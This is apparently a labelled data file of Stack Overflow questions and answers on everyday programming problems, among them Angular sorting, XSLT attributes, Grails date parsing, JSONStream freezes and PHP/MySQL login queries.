40394830	0	I am using javascript sort function on angular scope inside an if condition. My condition is false still it is going inside <p>Here is the code snippet:</p> <pre><code>$scope.notes = notes.data; if($scope.notes) { console.log("notes", $scope.notes); } else { console.log("no notes"); } if($scope.notes) { console.log("in this if"); $scope.singleNote = $scope.notes.sort(function(a,b) { return new Date(b.date_posted).getTime() - new Date(a.date_posted).getTime() })[0]; } </code></pre> <p>Even if the logic goes in else, it is also going in the 2nd if. It does not display the console of 2nd if but gives an error called: $scope.notes.function is not defined. It should not go in the 2nd if, if it goes in the else block.</p>
31175394	0	 <p>You can do the same if slickPrev function doesn't work. You can pass the function name as parameter to slick.</p> <pre><code>$('.next').click(function(){ $("#sliderId").slick('slickNext'); }); </code></pre>
26006257	0	How to add a double with a variable only using one double <pre><code>public static void main(String[] args) { Scanner in = new Scanner(System.in); System.out.println("Insert value for year (Ez = 2014): "); double year = in.nextDouble(); System.out.println("Insert value for day (Ex = 12): "); double day = in.nextDouble(); System.out.println("Insert number for month (Ex = 3): "); double month = in.nextDouble(); double totalDays = day; if (month == 1) { } else if (month == 2) { double totalDays = (totalday + 31); } } </code></pre> <p>I'm trying to take the <code>totalDays</code> double and use it in the if statement. I want to add it with a variable without using anymore doubles. How?</p>
16357625	0	Creating HTML tag using XSLT <p>I have an XML (Here I have shown only a fragment and it has several Control elements,</p> <pre><code> &lt;Control Name="submit" ID=""&gt; &lt;Properties&gt; &lt;Property Name="id" Value="btn_Submit" /&gt; &lt;Property Name="value" Value="Submit" /&gt; &lt;/Properties&gt; &lt;/Control&gt; </code></pre> <p>and I want to get html as</p> <pre><code>&lt;html&gt; &lt;head&gt; &lt;title&gt;example_htmlPage&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;input id="btn_Submit" type="submit" value="Submit"/&gt; &lt;/body&gt; &lt;/html&gt; </code></pre> <p>by using XSLT. I have written an XSLT as</p> <pre><code> &lt;?xml version="1.0" encoding="ISO-8859-1"?&gt; &lt;xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform"&gt; &lt;xsl:template match="/"&gt; &lt;html&gt; &lt;head&gt; &lt;title&gt;example_htmlPage&lt;/title&gt; &lt;/head&gt; &lt;body&gt; &lt;xsl:apply-templates/&gt; &lt;/body&gt; &lt;/html&gt; &lt;/xsl:template&gt; &lt;xsl:template match="/"&gt; &lt;xsl:for-each select="//Control[@Name='submit']"&gt; &lt;input type="submit" value="//Property/@Value/text()"/&gt; &lt;/xsl:for-each&gt; &lt;xsl:apply-templates/&gt; &lt;/xsl:template&gt; &lt;/xsl:stylesheet&gt; </code></pre> <p>So, my question is how to get the value of an attribute into HTML tag? I couldnt solve it by creating local variable as well as by using </p> <pre><code> &lt;input type="submit" value=&amp;lt;xsl:select="(//Property/@Value/text())"/&amp;gt;/&gt; </code></pre> <p>Please help me.</p>
18164838	0	 <p>How about this?</p> <pre><code>&gt;&gt;&gt; re.sub('(\d+)', 'sub\g&lt;1&gt;', "C7H19N3") 'Csub7Hsub19Nsub3' </code></pre> <p><code>(\d+)</code> is a <a href="http://www.regular-expressions.info/brackets.html" rel="nofollow">capturing group</a> that matches 1 or more digits. <code>\g&lt;1&gt;</code> is a way of referring to the saved group in the substitute string.</p>
2452744	1	Encrypting XML database in python <p>i am using XML as my backend for the application...</p> <p>LXML is used to parse the xml.</p> <p>How can i encrypt this xml file to make sure that the data is protected......</p> <p>thanks in advance.</p>
29329306	0	JS HTML5 Validate on "display:none" required input elements <p>I have a form which is a multi-div meaning: I fill some fields, then I click next and current div gets to display css proprerty set as "none".</p> <p>All the fields in this form are required, below is a snippet of the situation:</p> <pre><code>&lt;form action="" method="post"&gt; &lt;div id="div1" style="display:none"&gt; &lt;input name="input1" type"text" required /&gt; &lt;input name="input2" type"text" required /&gt; &lt;/div&gt; &lt;div id="div2" style="display:block"&gt; &lt;input name="input3" type"text" required /&gt; &lt;input name="input4" type"text" required /&gt; &lt;input type"submit" value="submit" /&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>Now the problem is that, when I submit the form, if one field of the first div is not filled up, it won't submit and Chrome gives me the following error in the Console</p> <pre><code>An invalid form control with name='input1' is not focusable. </code></pre> <p>I would like to know how can I solve this situation.I've thought about catching the error and then showing the first div, but i haven't figured out how to do it.</p> <p>Thank you</p>
731213	0	 <p>You are coupling classes too tightly and mixing values and references. You should either consider checking reference equality for one of the classes or make them aware of each other (by providing an <code>internal</code> specialized <code>Equals</code> method for the specific class or manually checking value equality of the other class). This shouldn't be a big deal since your requirements explicitly ask for this coupling so you are not introducing one by doing this.</p>
38995235	0	 <p>solved with this plugin: <a href="https://datatables.net/examples/api/multi_filter.html" rel="nofollow">https://datatables.net/examples/api/multi_filter.html</a> Thanks everybody</p>
15543478	0	 <p>not that slow but will show you folders size: du -sh /* > total.size.files.txt</p>
11939073	0	 <p>Does query like this work for you <code>q=id:(id1 OR id2 OR id3) OR id:yy*</code><br> You can use <code>id:(id1 OR id2 OR id3)</code> to search for ids in the id field and <code>id:yy*</code> for the prefix query to check for ids starting with yy</p>
32878450	0	node.js - infinite loop during JSONStream <p>I've got a node.js server that is freezing in production, and it appears to be caused by an infinite loop inside of JSONStream. Here's a stack trace captured from a core dump from a frozen server:</p> <pre><code>1: toString [buffer.js:~392] (this=0x1e28fb6d25c9 &lt;a Buffer&gt;#1#,encoding=0x266ee104121 &lt;undefined&gt;,start=0x266ee104121 &lt;undefined&gt;,end=0x266ee104121 &lt;undefined&gt;) 2: arguments adaptor frame: 0-&gt;3 3: write [/home/deploy/node_modules/JSONStream/node_modules/jsonparse/jsonparse.js:136] (this=0x32cc8dd5a999 &lt;a Parser&gt;#2#,buffer=0x32cc8dd5aa49 &lt;a Buffer&gt;#3#) 4: /* anonymous */ [/home/deploy/node_modules/JSONStream/index.js:~17] (this=0x32cc8dd5ab11 &lt;a Stream&gt;#4#,chunk=0x32cc8dd5aa49 &lt;a Buffer&gt;#3#) 5: write [/home/deploy/node_modules/JSONStream/node_modules/through/index.js:~24] (this=0x32cc8dd5ab11 &lt;a Stream&gt;#4#,data=0x32cc8dd5aa49 &lt;a Buffer&gt;#3#) 6: write [_stream_readable.js:~582] (this=0x266ee106c91 &lt;JS Global Object&gt;#5#,dest=0x32cc8dd5ab11 &lt;a Stream&gt;#4#,i=0,list=0x266ee104101 &lt;null&gt;) 7: flow [_stream_readable.js:592] (this=0x266ee106c91 &lt;JS Global Object&gt;#5#,src=0x32cc8dd5ac69 &lt;an IncomingMessage&gt;#6#) 8: /* anonymous */ [_stream_readable.js:560] (this=0x266ee106c91 &lt;JS Global Object&gt;#5#) 9: _tickCallback [node.js:415] (this=0x29e7331bb2a1 &lt;a process&gt;#7#) </code></pre> <p>How can I find the source of this infinite loop?</p> <p>Unfortunately the servers are running in production and are processing many thousands of requests, so it's difficult to give any additional context. The basic function of the servers is to make outbound HTTP requests for other services.</p> <p>It's worth noting that I don't believe this is caused by a memory leak. The server's memory usage remains constant (and low) during these freeze events, while the CPU spikes to 99%</p> <p>Another piece of evidence towards the conclusion of an infinite loop is that the event loop itself seems to have stopped. When I put a console.log inside of a setInterval, the server will stop outputting as soon as it freezes.</p> <p>We have verified that the problem is not caused by expired/corrupted socket connections, by setting the number of max connections to Infinity (which disables their reuse in node.js)</p> <p>We're using JSONStream 0.7.1 (which includes a default jsonparse version of 0.0.5). We found <a href="https://github.com/creationix/jsonparse/pull/22" rel="nofollow">this issue</a> on the JSONStream repo, and tried forking JSONParse and only updating to the newest jsonparse version. It did NOT fix the issue.</p>
29430890	0	 <p>IMHO there are three reasonable scenarios for <code>Optional</code>:</p> <ul> <li>Do something if there is a value</li> <li>Provide a default value otherwise</li> <li>The absence of a value is an error condition, in which case you want to fail fast</li> </ul> <p>Your scenario falls into the last category so I would simply write:</p> <pre><code> MyDao oq = myOptional.orElseThrow(() -&gt; new RuntimeException("Entity was not found"); if(!oq.getReferenceId().equals(objToUpdate.getId())) throw new RuntimeException("Bad Move!"); oq.setAttribute(objToUpdate.getAttribute()); </code></pre> <p>Of course, it's appealing to use methods like <code>ifPresent</code>, <code>filter</code> or <code>map</code>, but in your case, why would you want to continue when the application is in a faulty state. Now if you wouldn't throw an exception if the entity wasn't found, then the situation would be different.</p> <p>Something like <code>oq.checkMove(objToUpdate.getId())</code> could make sense. That would eliminate the <code>if</code> and make the code more expressive.</p>
39571267	0	 <p>If the lines are selected by line numbers which follow a consistent pattern, use <a href="https://docs.python.org/3.6/library/itertools.html#itertools.islice" rel="nofollow"><code>itertools.islice</code></a>.</p> <p>E.g. To select every second line from line 3 up to but not including line 10:</p> <pre><code>import itertools with open('my_file.txt') as f: for line in itertools.islice(f, 3, 10, 2): print(line) </code></pre>
12917515	0	page redirecting <p>Based on certain condition in my controller, I want to direct the user to an error page, which I am doing now. </p> <p>when error page is displayed to user, I want the user to be then redirected to a specific retry page. </p> <p>Is this the right way to do it using:</p> <pre><code>&lt;meta http-equiv="refresh" content="3; url=http://www.somewhere.com/" /&gt; </code></pre> <p>or should i use javascript to do the redirect based on timer?</p> <p>To get the right url I could put the url in flash scope and read them and place in above string</p>
804328	0	 <p>I think what you're looking for is the "many-to-one" element. (This goes inside your class element for SupportTicket)</p> <pre><code>&lt;many-to-one name="SupportTicketCategory" column="SupportTicketCategoryId" update="false" insert="false" /&gt; </code></pre>
33339482	0	 <p>You can implement Model-View-Controller pattern in ASP.NET Webforms applications.</p> <p>Following are the MSDN links for your reference:</p> <p>1) <a href="https://msdn.microsoft.com/en-us/library/ff649643.aspx" rel="nofollow">Model-View-Controller</a></p> <p>2) <a href="https://msdn.microsoft.com/en-us/library/ff647462.aspx" rel="nofollow">Implementing Model-View-Controller in ASP.NET</a></p> <p><a href="http://stackoverflow.com/questions/9119657/how-do-gang-of-four-design-patterns-fit-into-the-mvc-paradigm">This SO</a> provide some variations to consider.</p>
24159098	0	Feature Construction for Text Classification using Autoencoders <p>Autoencoders can be used to reduce dimensionallity in feature vectors - as far as I understand. In text classification a feature vector is normally constructed via a dictionary - which tends to be extremely large. I have no experience in using autoencoders, so my questions are:</p> <ol> <li>Could autoencoders be used to reduce dimensionallity in text classification? (Why? / Why not?)</li> <li>Has anyone already done this? A source would be nice, if so.</li> </ol>
28568162	0	 <p>I think this is not working because the columns returned by both select must have the same names, so please try this</p> <pre><code>SELECT "dba"."Room"."ID" ID, "dba"."Room"."RoomNumName" RoomNumName from "dba"."Room" WHERE DeptID = 8225 EXCEPT SELECT "dba"."vwResultInspection_iDashboards"."roomID" ID, "dba"."vwResultInspection_iDashboards"."RoomNumName" RoomNumName FROM "dba"."vwResultInspection_iDashboards" where "dba"."vwResultInspection_iDashboards"."ClosedDate" &gt; '2015-01-01' AND "dba"."vwResultInspection_iDashboards"."ClosedDate" &lt; '2015-01-31 23:59:59.000' and DEPTID = 8225 </code></pre>
2251602	0	LINQ Stored Procedure DATETIME NULL <p>I got this errormessage when I use Linq and and stored procedure as follow. I got this message when the DateTime parameter is NULL. How will I do to solve this?</p> <p>Errormessage Serverfel i tillämpningsprogrammet. SqlDateTime-spill: Det måste vara mellan 1/1/1753 12:00:00 AM och 12/31/9999 11:59:59 PM. </p> <p>Codeblock in C#</p> <pre><code>protected void ButtonSearch_Click(object sender, EventArgs e) { Postit p = new Postit(); DateTime? dt; if(TextBoxDate.Text=="") { dt=null; } else { dt=System.Convert.ToDateTime(TextBoxDate.Text); } GridView1.DataSource = p.SearchPostit(TextBoxMessage.Text, TextBoxWriter.Text, TextBoxMailto.Text, System.Convert.ToDateTime(dt)); GridView1.DataBind(); } public ISingleResult&lt;Entities.SearchPostitResult&gt; SearchPostit([Parameter (DbType="VarChar(1000)")] string message, [Parameter(DbType="VarChar(50)")] string writer, [Parameter(DbType="VarChar(100)")] string mailto, [Parameter(DbType="DateTime")] System.Nullable&lt;System.DateTime&gt; date) { IExecuteResult result = this.ExecuteMethodCall(this, ((MethodInfo)(MethodInfo.GetCurrentMethod())), message, writer, mailto, date); return ((ISingleResult&lt;Entities.SearchPostitResult&gt;)(result.ReturnValue)); Procedure ALTER PROCEDURE [dbo].[SearchPostit] ( @message varchar(1000)='', @writer varchar(50)='', @mailto varchar(100)='', @date Datetime=null ) AS SELECT P.Message AS Postit, P.Mailto AS 'Mailad till', P.[Date] AS Datum , U.UserName AS Användare FROM PostIt P INNER JOIN [User] U ON P.UserId=U.UserId WHERE P.message LIKE '%'+@message+'%' AND P.Mailto LIKE '%'+@mailto+'%' AND ( @date IS NULL OR P.Date = @date ) AND U.UserName LIKE '%'+@writer+'%' GROUP BY P.Message, P.Mailto, P.[Date], U.UserName } </code></pre>
10388532	0	 <p>Well, I know this post is antique, but here's my 2 cents:</p> <p>I don't think this:</p> <pre><code>if(!$this-&gt;descriptions-&gt;insert($new_description)) </code></pre> <p>will work, cause the insert function from CI active record always returns TRUE (succeeding or not). If you are using debug mode, CI will stop on error and throw a screen message to the user, but insert function will still returns TRUE.</p> <p>So, if you're willing to control transactions "manualy" with CI, you'll have to use something like this:</p> <pre><code>... $this-&gt;db-&gt;trans_begin(); $this-&gt;db-&gt;insert('FOO'); if ($this-&gt;db-&gt;trans_status() === FALSE){ $this-&gt;db-&gt;trans_rollback(); }else{ $this-&gt;db-&gt;trans_commit(); } </code></pre> <p>Hope this helps someone...sometime....somewhere</p>
27074899	0	Upgrade Oracle 10g to its higher version <p>I need to upgrade Oracle 10.1.0 to its higher version 10.1.0.3 Is there any patch file to do this upgradation other than the fresh installation of the higher version?</p>
32149368	0	Grails "Unparseable Date" Error <p>I've seen some Unparseable Date errors on here before, but mine doesn't seem to make any sense. I'm uploading a CSV file, which is going to be displayed in a table on a webpage (that much I know and is easy) and I'm trying to find a way to take the date in a cell and convert it from it's native string format to a date.</p> <p>Here's the code:</p> <pre><code> def line = f.inputStream.toCsvReader(['skipLines':1]).eachLine{fields -&gt; List list = new List() list.item = fields[0].trim() String checkedOut = fields[1].trim() String returned = fields[2].trim() Date c = Date.parse('E MM/dd/yy', checkedOut) Date r = Date.parse('E MM/dd/yy', returned) list.lastCheckedOut = c list.lastReturned = r list.checkedOutBy = fields[4].trim() list.save flush: true return } </code></pre> <p>Here's the stacktrace </p> <pre><code>Error 2015-08-21 16:13:38,936 [http-bio-8080-exec-7] ERROR errors.GrailsExceptionResolver - ParseException occurred when processing request: [POST] /inventory/list/upload - parameters: upload: Upload Unparseable date: "9/22/94". Stacktrace follows: Message: Unparseable date: "9/22/94" Line | Method -&gt;&gt; 357 | parse in java.text.DateFormat - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - | 27 | doCall in org.ListController$_upload_closure1$$EPM22klU | 34 | eachLine in org.grails.plugins.csv.CSVReaderUtils | 126 | doCall in CsvGrailsPlugin$_closure4$_closure8 | 22 | upload . in org.ListController$$EPM22klU | 198 | doFilter in grails.plugin.cache.web.filter.PageFragmentCachingFilter | 63 | doFilter in grails.plugin.cache.web.filter.AbstractFilter | 1145 | runWorker in java.util.concurrent.ThreadPoolExecutor | 615 | run . . . in java.util.concurrent.ThreadPoolExecutor$Worker ^ 745 | run in java.lang.Thread </code></pre> <p>The date held in "fields[1]" is 9/22/94, I'm not entirely sure what the issue here is, everything I've read seems to show that this should work.</p>
10300723	0	 <p>You had your parentheses in the wrong place:</p> <pre><code>function equal(n1, n2){ var bool = (n1 ^ n2) &gt;= 0 ? true : false; document.write("&lt;div&gt;" + bool + " (" + (n1^n2) + ")&lt;/div&gt;"); } </code></pre> <p>Here's an <a href="http://jsfiddle.net/qSwFt/1/" rel="nofollow">updated fiddle</a> with results matching what you expect.</p> <p>This is important in this case because all of the bitwise operators are of <a href="https://developer.mozilla.org/en/JavaScript/Reference/Operators/Operator_Precedence" rel="nofollow">lower precedence</a> than the relational comparison operators. Also note that the conditional operator (<code>?:</code>) is of lower precedence than all of the bitwise operators, so there's no need for another set of parentheses around the entire condition.</p>
28047424	0	Android Google Maps API v2 check land or water <p>I'm working with Android Google Maps API v2. Is it possible to check if point (LatLng) is in water or land?</p>
21920302	0	 <p>You can try some like this basic structure</p> <pre><code>INSERT INTO temp_table (Value1,Value2,Value3) SELECT field1, field2, field3 FROM the_table WHERE condition_value = some_value </code></pre> <p>Remember have the same number of fields in your <code>INSERT INTO</code> and your <code>SELECT</code>. </p>
35812759	0	 <p>Just because <code>A</code> is the base class of <code>B</code> doesn't change that <code>A</code> isn't <code>B</code>. It's <code>B</code> who's <code>A</code>.</p> <p>For example, you're a mix of your dad and you mother, but you're not your dad or your mother. If the police gets you doing something wrong with your car, would the police ask for your dad's or mom's driving license?</p> <p>You can compare the <em>police</em> with the compiler. The compiler won't accept that you set an instance of <code>A</code> in a reference typed as <code>B</code>, because they're different types.</p> <p>What compiler can accept is that an instance of <code>B</code> upcasted to <code>A</code> could be set to a reference of <code>A</code>:</p> <pre><code>B b = new B(); A a = b; b = (B)a; </code></pre>
31211557	0	 <p>"Is this possible in SQL?"</p> <p>Yes</p> <p>I would suggest having 2 rows with each value (one for the Date, one for the Integer).</p> <p>What you would need is the following: a trigger for insertions that adds the NOW() value to a field. Then concat the Integer to that Date.</p> <p>And another trigger to reset the Integer value at the change of day (the hour you chose)</p>
1043705	0	 <p>This is one way:</p> <pre><code>$metabasePath = "IIS://Localhost/W3SVC" $iisNumber = "12345" $site = new-object System.DirectoryServices.DirectoryEntry("$metabasePath/$iisNumber/root") $site.psbase.Properties["DefaultDoc"].Value = "newdefdoc.htm," + $site.psbase.Properties["DefaultDoc"].Value $site.psbase.CommitChanges() </code></pre> <p>The value returned in <code>$site.psbase.Properties["DefaultDoc"].Value</code> is a comma separated list of documents so you may need to re-jig the order to suit your case. The example above just adds a new default document (<code>newdefdoc.htm</code>) to the top of the list.</p>
3081942	0	 <p>I am exploring possiblities of <a href="https://bespin.mozillalabs.com/" rel="nofollow noreferrer">https://bespin.mozillalabs.com/</a> for my web development. Looks quite promising. an editor and a version control system. fully online. try it for once and see if you like it. </p>
2003626	0	 <p>Here's how it works with <a href="http://joda-time.sourceforge.net" rel="nofollow noreferrer">Joda time</a>:</p> <pre><code>DateTime startTime, endTime; Period p = new Period(startTime, endTime); int hours = p.getHours(); int minutes = p.getMinutes(); </code></pre> <p>You could format with Joda's formatters, e.g., PeriodFormat, but I'd suggest using Java's. See <a href="http://stackoverflow.com/questions/275711/add-leading-zeroes-in-java">this question</a> for more details.</p>
7298831	0	 <p>Marquee is problematic. When TextView (or the Window containing the TextView)loses focus the marquee is stopped and reset (see the sources for TextView). I guess you have 3 possible solutions here:</p> <ol> <li>You can set <code>android:focusable="false"</code> in all other Views in your layout. That way your TextView shouldn't lose focus. But that's probably not the solution you want. </li> <li>You can subclass TextView and change <code>onFocusChanged()</code> and <code>onWindowFocusChanged()</code> to prevent marquee from being stopped and reset.</li> <li>Create your own implementation of marquee.</li> </ol>
2160702	0	 <p>I dont get it, it <em>is</em> exactly one python <code>for loop</code> there. What is the question? Do you want the <code>j</code> declaration inside the loop declaration like in c++? Check Prasson'S answer for the closest python equivalent. But why have a j variable in the first place? <code>j=i+3</code> seems to always be true, so why not this?</p> <pre><code>for i in range(100): print i, " j: ", i+3 </code></pre>
12903066	0	 <p>You never place any content in your <code>StringBuffer</code> <code>buffer</code>, so it is empty when you write it to file:</p> <pre><code>bw.write(buffer.toString()); </code></pre> <p><code>buffer</code> could potentially consume a large amount of memory here.</p> <p>A better approach to writing the data to file would be to write the data as you read it from the database:</p> <pre><code>while (rs.next()) { sampleIddisp = rs.getString(1); ... bw.write(....); } </code></pre>
37105723	0	Using class-local type aliases in a template base class list <p>In this code:</p> <pre><code>template &lt;typename Pair&gt; struct EdgeRange : public std::pair&lt;decltype(valueIter(std::declval&lt;Pair&gt;().first)), decltype(valueIter(std::declval&lt;Pair&gt;().second))&gt; { using EntryFirst = decltype(valueIter(std::declval&lt;Pair&gt;().first)); using EntrySecond = decltype(valueIter(std::declval&lt;Pair&gt;().second)); EdgeRange(const Pair&amp; p): std::pair&lt;EntryFirst, EntrySecond&gt;(valueIter(p.first), valueIter(p.second)) {} }; </code></pre> <p>The <code>decltype</code> types are mentioned twice each. How can I eliminate this duplication without moving the types outside the class?</p>
29096042	0	Add a Class and style to a dropdownlist rails <p>I have this code </p> <pre><code> &lt;%= f.select "banker_assignment[banker_assignment_status_id]", options_from_collection_for_select(@banker_assignment_statuses, :id, :assignment_status, @banker_assignment.banker_assignment_status.id), data: { selected: @banker_assignment.banker_assignment_status.id }, { :class =&gt; 'form-control single-select' }, { :style =&gt; 'float: right' } %&gt; </code></pre> <p>I want to add the following class and style to the dropdownlist but i always get an error </p> <pre><code>syntax error, unexpected ',', expecting =&gt; ...'form-control single-select' }, { :style =&gt; 'float: right' }... ... ^ </code></pre> <p>How do i get rid of this error?</p> <p>Thanks </p>
30151235	0	 <p>What you can do is use the neko program found here <a href="https://github.com/jasononeil/haxelib-xml-to-json" rel="nofollow">https://github.com/jasononeil/haxelib-xml-to-json</a> to change your xml server response to json then use the haxe.Json class to change that into a Dynamic typed object. The program in the link loads in .xml files and exports .json so you'll have to save what you get from the server to file first then load it again. You can probably cut out the middle man if you just write a class to handle the conversion using the link above as a guide.</p>
24137956	0	 <p>I am assuming you are not using JSON.NET. If this the case, then you can try it.</p> <p>It has the following features -</p> <p>LINQ to JSON The JsonSerializer for quickly converting your .NET objects to JSON and back again Json.NET can optionally produce well formatted, indented JSON for debugging or display Attributes like JsonIgnore and JsonProperty can be added to a class to customize how a class is serialized Ability to convert JSON to and from XML Supports multiple platforms: .NET, Silverlight and the Compact Framework Look at the example below. </p> <p>In this <a href="http://james.newtonking.com/json" rel="nofollow">example</a>, JsonConvert object is used to convert an object to and from JSON. It has two static methods for this purpose. They are SerializeObject(Object obj) and DeserializeObject(String json) -</p> <pre><code>Product product = new Product(); product.Name = "Apple"; product.Expiry = new DateTime(2008, 12, 28); product.Price = 3.99M; product.Sizes = new string[] { "Small", "Medium", "Large" }; string json = JsonConvert.SerializeObject(product); //{ // "Name": "Apple", // "Expiry": "2008-12-28T00:00:00", // "Price": 3.99, // "Sizes": [ // "Small", // "Medium", // "Large" // ] //} </code></pre> <p>Product deserializedProduct = JsonConvert.DeserializeObject(json);</p>
8483307	0	 <p>There is no %2C in your string, so it just continually iterates till it reaches the end of the string then is trying to read more and failing because it is already at the end of the string. </p> <p>You should add something like:</p> <pre><code>if ($pos&gt;strlen($haystack)) { return false; } </code></pre> <p>Into your loop. </p> <p>Also $haystack[$pos] is only one character while $endDelimiter is more than one character so that will never match unless your $endDelimiter is only a single character. </p>
40474243	0	 <p>Use a <code>QToolButton</code> instead of a <code>QPushButton</code> and clear its maximum size.</p> <p>You may need to set the vertical size-policy to "Preferred" so that it to has the same height as the other buttons. To get a flat button, check the "autoRaise" property.</p> <p>A quick way to change the button class is to right-click it and select "Morph Into" from the context menu.</p>
39707374	0	Default AppCompatButton not writing in all caps <p>I have the support library added as a dependency</p> <p><code>compile 'com.android.support:appcompat-v7:24.2.1'</code></p> <p>My styles.xml looks like this:</p> <pre><code>&lt;resources xmlns:android="http://schemas.android.com/tools"&gt; &lt;!-- Base application theme. --&gt; &lt;style name="AppTheme" parent="Theme.AppCompat"&gt; &lt;!-- Customize your theme here. --&gt; &lt;item name="colorPrimary"&gt;@color/colorPrimary&lt;/item&gt; &lt;item name="colorPrimaryDark"&gt;@color/colorPrimaryDark&lt;/item&gt; &lt;item name="colorAccent"&gt;@color/colorAccent&lt;/item&gt; &lt;/style&gt; &lt;/resources&gt; </code></pre> <p>and my buttons themselves:</p> <pre><code>&lt;android.support.v7.widget.AppCompatButton android:layout_width="88dp" android:layout_height="48dp" android:layout_marginBottom="16dp" android:layout_marginEnd="16dp" android:layout_marginStart="75dp" android:layout_marginTop="82dp" android:text="RETURN" android:textSize="14sp"/&gt; </code></pre> <p>The button currently looks like this: <a href="https://i.stack.imgur.com/slL12.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/slL12.png" alt="enter image description here"></a></p> <p>Also note how I have set the text to all caps but it's getting overwritten with normal lettering. Is the style being overridden somewhere?</p> <p>I have tried adding: </p> <p><code>style="@style/Widget.AppCompat.Button"</code> to the button but nothing has happened. Where am I going wrong?</p>
24899415	0	 <p>OK, as you are dealing with authentication, let's improve your code a little.</p> <pre><code>&lt;?php // Do not connect using root, especially when not setting a password: $con=mysqli_connect("localhost","projectuser","password","project"); if(mysqli_connect_errno()) { echo "failed".mysqli_connect_errno(); } $uid = $_GET['username']; $pass = $_GET['password']; // This is the main problem, there was a typo: $sql = "SELECT * FROM login"; // Directly ask the DB if the credentials are correct. // Then you do not need the loop below. // BUT: Do not forget to escape the data in this case! $sql .= " WHERE uid = '" . mysqli_real_escape_string($uid) . "' AND pass = '" . mysqli_real_escape_string($pass) . "'"; $result=mysqli_query($con,$sql); if ($result-&gt;num_rows === 1) { header('location:http://localhost/mam.html'); } else { header('location:http://localhost/error/index.html'); } mysqli_close($con); ?&gt; </code></pre> <p>A further improvement would be to hash (and salt) the password in the database.</p> <p>Also, as VMai pointed out, the use of prepared statements would be appropriate.</p>
8124255	0	JSON - Return Property Count <p><strong>JSON structure:</strong></p> <pre><code>{ "codes":[ { "id":"1", "code":{ "fname":"S", "lname":"K" } }, { "id":"2", "code":{ "fname":"M", "lname":"D" } } ] } </code></pre> <p><strong>I want to loop through each code and alert the number of properties within each code</strong></p> <pre><code> success: function(data){ var x, count=0; for (x = 0; x &lt; data.codes.length; x++){ for (property in data.codes[x].code) { count++; alert(count); } } } </code></pre> <p><strong>The above works BUT it returns 4 as the <code>count</code>. It should return 2 for each <code>code</code>.</strong></p>
18632968	0	MQTT Android not connecting to ActiveMq <p>I'm trying to connect an Android application to an ActiveMQ server. I'm using ActiveMQ because my server already talks to the ActiveMQ server using JMS so it will be very beneficial for me to connect the android client to the JMS broker.</p> <p>I've enabled MQTT in ActiveMQ following this page: <a href="http://activemq.apache.org/mqtt.html" rel="nofollow">http://activemq.apache.org/mqtt.html</a> and I had a small problem with any of the MQTT clients (IBM MQTT client or Paho MQTT Client) I've downloaded didn't recognize "mqtt://" url prefix so I tried to use tcp instead. This is how the configuration looks like in activemq.xml: </p> <pre><code>&lt;transportConnectors&gt; &lt;transportConnector name="openwire" uri="tcp://0.0.0.0:61616?maximumConnections=1000&amp;amp;wireformat.maxFrameSize=104857600"/&gt; &lt;transportConnector name="amqp" uri="amqp://0.0.0.0:5672?maximumConnections=1000&amp;amp;wireformat.maxFrameSize=104857600"/&gt; &lt;transportConnector name="mqtt" uri="tcp://0.0.0.0:1883"/&gt; &lt;/transportConnectors&gt; </code></pre> <p>When I try to connect using any mqtt client example such as this one: <a href="http://mosquitto.org/2011/11/android-mqtt-example-project/" rel="nofollow">http://mosquitto.org/2011/11/android-mqtt-example-project/</a> I'm unable to connect to the ActiveMQ and I get an error on the server side:</p> <pre><code>2013-09-05 12:34:17,550 | WARN | Transport Connection to: tcp://192.168.0.111:42148 failed: java.io.IOException: Unknown data type: 77 | org.apache.activemq.broker.TransportConnection.Transport | ActiveMQ Transport: tcp:///192.168.0.111:42148@1883 </code></pre> <p>Any suggestions? Thanks!</p>
16778818	0	 <p>T-SQL supports some procedural statement like IF. PostgreSQL doesn't support it, so you cannot rewrite your query to postgres simply. Sometime you can use Igor's solution, sometime you can use plpgsql (functions) and sometime you have to modify your application and move procedural code from server to client. </p>
32345367	0	 <p>You need to compile a version of your custom control that targets the TFS 2015 binaries in order for your control to load in VS 2015.</p>
5003315	0	 <p>It seems to me, on the contrary, that neither actor has its output redirected, since <code>withOut</code> will have finished executing long before <code>println("II")</code> is called. Since this is all based on <code>DynamicVariable</code>, however, I'm not willing to bet on it. :-) The absence of working code precludes any testing as well.</p>
12580007	0	 <p>I was struggling with same exception and <a href="http://msdn.microsoft.com/en-us/library/system.servicemodel.servicecontractattribute.protectionlevel.aspx" rel="nofollow">found this</a>:</p> <blockquote> <p>When there is no protection level explicitly specified on the contract and the underlying binding supports security (whether at the transport or message level), the effective protection level for the whole contract is ProtectionLevel.EncryptAndSign. If the binding does not support security (such as BasicHttpBinding), the effective System.Net.Security.ProtectionLevel is ProtectionLevel.None for the whole contract. The result is that depending upon the endpoint binding, clients can require different message or transport level security protection even when the contract specifies ProtectionLevel.None.</p> </blockquote> <p>So, if you don't specify ProtectionLevel in ServiceContract attribute, WCF will define ProtectionLevel based on your web.config. If you're using for example Ws2007 and BasicHttpBinding, BasicHttpBinding will fail with your exception. Then you have 3 options:</p> <ol> <li>Remove all secured bindings for your contract and leave just BasicHttpBinding.</li> <li><p>Set protection level on contract that is exposed through BasicHttpBinding as this:</p> <p>[ServiceContract(ProtectionLevel = ProtectionLevel.None)]</p></li> <li>Provide some security for BasicHttpBinding.</li> </ol>
30029321	0	 <p>Have you set your storyboard/xib files backward compatible?</p> <p><img src="https://i.stack.imgur.com/ytoMn.png" alt="enter image description here"></p>
19888968	1	NameError in Python interpreter <p>Here is my init:</p> <pre><code>import os, sys sys.path.append(os.path.abspath("..")) from myModule import * </code></pre> <p>Then in command line, same directory:</p> <pre><code>Python 2.7.4 (default, Sep 26 2013, 03:20:26) [GCC 4.7.3] on linux2 Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; c = myClass Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; NameError: name 'myClass' is not defined </code></pre>
